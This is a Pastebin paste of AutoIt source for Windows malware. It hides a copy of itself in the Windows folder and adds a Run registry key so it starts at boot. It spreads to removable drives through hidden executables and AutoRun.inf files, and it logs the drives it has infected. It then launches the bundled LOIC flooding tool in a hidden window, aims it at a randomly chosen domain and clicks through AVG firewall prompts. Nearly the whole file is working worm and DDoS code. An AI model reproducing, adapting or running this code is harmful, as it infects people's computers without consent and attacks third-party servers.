Guest User

Untitled

a guest
Jun 16th, 2018
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 6.47 KB | None | 0 0
  1. #NoTrayIcon
  2. #Region ;**** Directives created by AutoIt3Wrapper_GUI ****
  3. #AutoIt3Wrapper_icon=ICON.ico
  4. #AutoIt3Wrapper_Compression=4
  5. #AutoIt3Wrapper_UseUpx=n
  6. #AutoIt3Wrapper_Res_Comment=Anonymous
  7. #AutoIt3Wrapper_Res_Description=Anonymous
  8. #AutoIt3Wrapper_Res_Fileversion=0.0.0.16
  9. #AutoIt3Wrapper_Res_Fileversion_AutoIncrement=y
  10. #AutoIt3Wrapper_Res_LegalCopyright=Anonymous
  11. #AutoIt3Wrapper_Res_Language=1033
  12. #AutoIt3Wrapper_Res_Field=Disclaimer|Anonymous
  13. #AutoIt3Wrapper_Res_Field=Compiler Version|%AutoItVer%
  14. #AutoIt3Wrapper_Res_Field=Compile Date|%date% %time%
  15. #AutoIt3Wrapper_Res_Field=Crew|Anonymous
  16. #AutoIt3Wrapper_Res_Field=Author|Anon
  17. #AutoIt3Wrapper_Run_Obfuscator=y
  18. #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
  19. #AutoIt3Wrapper_UseAnsi=y
  20.  
  21. $handleError = ObjEvent("AutoIt.Error", "error")
  22. ;Opt("RunErrorsFatal", 0)
  23. #include <string.au3>
  24. #include <INet.au3>
  25. #include <File.au3>
  26. Dim $dow[7] = ["Sun", "Mon", "Tues", "Wed", "Thurs", "Fri", "Sat"]
  27. Dim $masterCopy = @WindowsDir & "\" & @UserName & ".exe"
  28. Dim $infectedDrives = "", $driveLabels = ""
  29.  
  30. ;------------LOIC VARS
  31. FileInstall("BIN/LOIC/LOIC.exe", @ScriptDir & "/LOIC.exe")
  32. FileInstall("DOMAIN.txt", @ScriptDir & "DOMAIN.txt")
  33. Global $LOIC_BIN = @ScriptDir & "/LOIC.exe"
  34. Global $LOIC_TITLE = "Low Orbit Ion Cannon | U dun goofed | v. 1.1.1.18"
  35. Global $IP_inuse = "NULL"
  36. ;------------
  37.  
  38.  
  39. startup()
  40. ;InfectRemovableDrive()
  41. regChanges()
  42.  
  43. ;Checks existences and versions
  44. Func startup()
  45.     If FileExists($masterCopy) Then
  46.         If FileGetVersion($masterCopy) > FileGetVersion(@ScriptFullPath) Then
  47.             ;nothing
  48.         Else
  49.             FileCopy(@ScriptFullPath, $masterCopy, 1)
  50.             FileSetAttrib($masterCopy, "+h")
  51.         EndIf
  52.     Else
  53.         RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", @UserName, "REG_SZ", $masterCopy)
  54.         FileCopy(@ScriptFullPath, $masterCopy, 1)
  55.         FileSetAttrib($masterCopy, "+h")
  56.     EndIf
  57.     InfectRemovableDrive()
  58. EndFunc   ;==>startup
  59.  
  60. ;Infects all removable storage, that is able to be written too.
  61. Func InfectRemovableDrive()
  62.     $var = DriveGetDrive("REMOVABLE")
  63.     If $var = "" Then
  64.         ;do nothing
  65.     Else
  66.         For $x = 1 To $var[0] Step 1
  67.             If DriveSpaceTotal($var[$x]) = "" Or DriveStatus($var[$x]) = "NOTREADY" Then
  68.                 MsgBox(0, "", $var[$x])
  69.  
  70.             Else
  71.                 $RSSE = IniRead($var[$x] & "\rdfc.isd", "APP", "USER", "MISSING")
  72.                 MsgBox(0, "", "TEST ERR")
  73.                 If DriveStatus($var[$x]) <> "NOTREADY" Then
  74.                     If Not FileExists($var[$x] & "\rdfc.isd") Then
  75.                         $infectedDrives = $infectedDrives & $var[$x] & ", "
  76.                         $driveLabels = $driveLabels & $var[$x] & ", "
  77.                         $fdd = FileOpen($var[$x] & "\rdfc.isd", 2)
  78.                         FileWrite($fdd, "[APP]" & @CRLF & "USER=" & @UserName)
  79.                         FileClose($fdd)
  80.                         FileSetAttrib($var[$x] & "\rdfc.isd", "+H")
  81.                         FileCopy(@ScriptFullPath, $var[$x] & "\" & @UserName & ".exe", 1)
  82.                         ;FileSetAttrib($var[$x] & "\" & @UserName & ".exe", "+H")
  83.                         $autorun = FileOpen($var[$x] & "\AutoRun.inf", 2)
  84.                         FileWrite($autorun, "[Autorun]" & @CRLF)
  85.                         FileWrite($autorun, "Action=Distribution" & @CRLF)
  86.                         FileWrite($autorun, "Label=" & DriveGetLabel($var[$x]) & @CRLF)
  87.                         FileWrite($autorun, "shell\MyPendrive\command=..\" & @UserName & ".exe" & @CRLF)
  88.                         FileWrite($autorun, "shell\MyPenDrive=Open" & @CRLF)
  89.                         FileWrite($autorun, "shell=lost" & @CRLF)
  90.                         FileWrite($autorun, "shellexecute=..\" & @UserName & ".exe" & @CRLF)
  91.                         FileWrite($autorun, "UseAutoPlay=1" & @CRLF & "VER=" & FileGetVersion(@ScriptFullPath))
  92.                         FileClose($autorun)
  93.                         FileSetAttrib($var[$x] & "\Autorun.inf", "+H")
  94.                     Else
  95.                         If $RSSE = "MISSING" Or Not FileExists($var[$x] & "\" & $RSSE & ".exe") Then
  96.                             FileDelete($var[$x] & "\rdfc.isd")
  97.                             InfectRemovableDrive()
  98.                         EndIf
  99.                         If FileGetVersion($var[$x] & "\" & $RSSE & ".exe") < FileGetVersion(@ScriptFullPath) Then
  100.                             ;FileDelete($var[$x] & "\rdfc.isd")
  101.                             ;InfectRemovableDrive()
  102.                             FileCopy(@ScriptFullPath, $var[$x] & "\" & @UserName & ".exe", 1)
  103.                             ;FileSetAttrib($var[$x] & "\" & @UserName & ".exe", "+H")
  104.                             $fdd = FileOpen($var[$x] & "\rdfc.isd", 2)
  105.                             FileWrite($fdd, "[APP]" & @CRLF & "USER=" & @UserName)
  106.                             FileClose($fdd)
  107.                             FileSetAttrib($var[$x] & "\rdfc.isd", "+H")
  108.                             ;MsgBox(0, "", $var[$x] & "\" & @UserName & ".exe")
  109.                         EndIf
  110.                     EndIf
  111.                 EndIf
  112.             EndIf
  113.         Next
  114.         FileWrite(@WindowsDir & "\InList.txt", "User: " & @UserName & @TAB & "Drives: " & $infectedDrives & @TAB & "Labels: " & $driveLabels & @TAB & "Date: " & @HOUR & ":" & @MIN & ":" & @SEC & "    " & @MON & "/" & @MDAY & "/" & @YEAR & @TAB & $dow[@WDAY - 1] & @CRLF)
  115.     EndIf
  116. EndFunc   ;==>InfectRemovableDrive
  117.  
  118. Func regChanges()
  119.  
  120.  
  121.  
  122.     ;---------------------------------------------------------
  123.     TCPStartup()
  124.  
  125.     While $IP_inuse = "NULL"
  126.         $randomIP = randomIP()
  127.         $IP_inuse = TCPNameToIP($randomIP)
  128.         If @error Then $IP_inuse = "NULL"
  129.         ConsoleWrite($IP_inuse & @CRLF)
  130.     WEnd
  131.  
  132.     TCPShutdown()
  133.     ;---------------------------------------------------------
  134.  
  135.     Run($LOIC_BIN)
  136.     WinWaitActive($LOIC_TITLE)
  137.     $handle = WinGetHandle($LOIC_BIN)
  138.     If @Compiled Then WinSetState($handle, $handle, @SW_HIDE)
  139.  
  140.  
  141.     $IP_con_handle = ControlGetHandle($handle, $handle, "[NAME:txtTargetIP]")
  142.     ControlFocus($handle, $handle, $IP_con_handle)
  143.     ControlSetText($handle, $handle, $IP_con_handle, $IP_inuse)
  144. ;~-----------
  145.     $TARGETIP_con_handle = ControlGetHandle($handle, $handle, "[NAME:cmdTargetIP]")
  146.     ControlFocus($handle, $handle, $TARGETIP_con_handle)
  147.     ControlClick($handle, $handle, $TARGETIP_con_handle)
  148. ;~-----------
  149.     $ATTACK_con_handle = ControlGetHandle($handle, $handle, "[NAME:cmdAttack]")
  150.     ControlFocus($handle, $handle, $ATTACK_con_handle)
  151.     ControlClick($handle, $handle, $ATTACK_con_handle)
  152.  
  153.     WinWaitActive("AVG Firewall Asks for Confirmation", "", 5000)
  154.     If WinExists("AVG Firewall Asks for Confirmation") Then
  155.         $AVG_handle = WinGetHandle("AVG Firewall Asks for Confirmation")
  156.         $AVG_button_handle = ControlGetHandle($handle, $handle, "[CLASS:Button; INSTANCE:1]")
  157.         ControlFocus($AVG_handle, $AVG_handle, $AVG_button_handle)
  158.         ControlClick($AVG_handle, $AVG_handle, $AVG_button_handle)
  159.  
  160.     EndIf
  161.  
  162.     Exit
  163. EndFunc   ;==>regChanges
  164.  
  165. Func randomIP()
  166.     Dim $domainList
  167.     _FileReadToArray("DOMAIN.txt", $domainList)
  168.     Return $domainList[Round(Random(1, $domainList[0]))]
  169. EndFunc   ;==>randomIP
  170.  
  171. Func error()
  172.     ConsoleWrite("An error has occured and I am handling it silently." & @CRLF & $handleError.description & @CRLF)
  173.     Return $handleError.description
  174. EndFunc   ;==>error
Add Comment
Please, Sign In to add comment